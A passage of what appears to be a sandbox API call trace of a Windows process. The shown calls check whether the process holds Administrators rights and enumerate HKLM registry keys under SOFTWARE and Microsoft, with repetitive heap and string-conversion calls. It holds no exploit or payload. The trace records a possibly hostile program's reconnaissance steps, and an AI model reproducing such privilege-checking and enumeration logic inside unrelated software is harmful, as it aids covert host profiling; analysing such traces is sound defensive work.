TokenHandle=0x18fbf0*=0xc4) returned 1 [0257.458] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0257.458] GetLastError () returned 0x7a [0257.458] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55b860 [0257.458] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x55b860, TokenInformationLength=0x58, ReturnLength=0x18fbec | out: TokenInformation=0x55b860, ReturnLength=0x18fbec) returned 1 [0257.458] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x5b4a90*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0257.459] EqualSid (pSid1=0x5b4a90*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x55b884*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0257.459] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b860) returned 1 [0257.459] NtClose (Handle=0xc4) returned 0x0 [0257.459] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55b860 [0257.460] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55b8a8 [0257.460] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x280) returned 0x55b930 [0257.461] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0257.465] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x55b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0257.465] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.465] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bc58 [0257.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x55bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0257.465] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bca0 [0257.465] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bc58) returned 1 [0257.465] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bca0) returned 1 [0257.465] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.466] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x55b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0257.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bca0 [0257.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x55bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0257.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bc58 [0257.466] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bca0) returned 1 [0257.466] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bc58) returned 1 [0257.466] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.466] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x55b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0257.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bc58 [0257.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x55bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0257.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bca0 [0257.466] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bc58) returned 1 [0257.466] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bca0) returned 1 [0257.466] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.466] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x55b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0257.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bca0 [0257.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x55bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0257.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bc58 [0257.466] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bca0) returned 1 [0257.466] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bc58) returned 1 [0257.466] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.466] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x55b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0257.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bc58 [0257.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x55bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bca0 [0257.467] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bc58) returned 1 [0257.467] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bca0) returned 1 [0257.467] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.467] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x184) returned 0x55d040 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bca0 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bc58 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bce8 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bd30 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bd78 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bdc0 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55be08 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55be50 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55be98 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bee0 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bf28 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bf70 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55bfb8 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c000 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c048 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c090 [0257.467] RegCloseKey (hKey=0x80000002) returned 0x0 [0257.467] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x55b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0257.467] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x55c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0257.468] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.468] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.468] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.468] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.468] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x55b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0257.468] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.468] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x55c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0257.468] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.468] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.468] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.468] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.468] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x55b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0257.468] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.468] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x55c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0257.468] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.468] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.468] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.468] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.468] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x55b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0257.468] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.468] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x55c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0257.468] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.468] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.468] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.469] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.469] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x55b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0257.469] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.469] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x55c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0257.469] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.469] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.469] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.469] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.469] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x55b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0257.469] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0257.469] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x55c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0257.469] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.469] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.469] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.469] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.469] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x55b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0257.469] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0257.469] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x55c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0257.469] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.469] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.469] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.469] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.469] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0257.469] RegCloseKey (hKey=0xc4) returned 0x0 [0257.469] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x55b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0257.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0257.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x55c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0257.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.470] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.470] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.470] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.470] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x55b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0257.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0257.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x55c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0257.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.470] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.470] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.470] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.470] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x55b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0257.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x55c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0257.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.470] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.470] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.470] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.470] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x55b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0257.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0257.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x55c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0257.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.471] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x55b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0257.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x55c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0257.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.471] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x55b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0257.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x55c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0257.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, 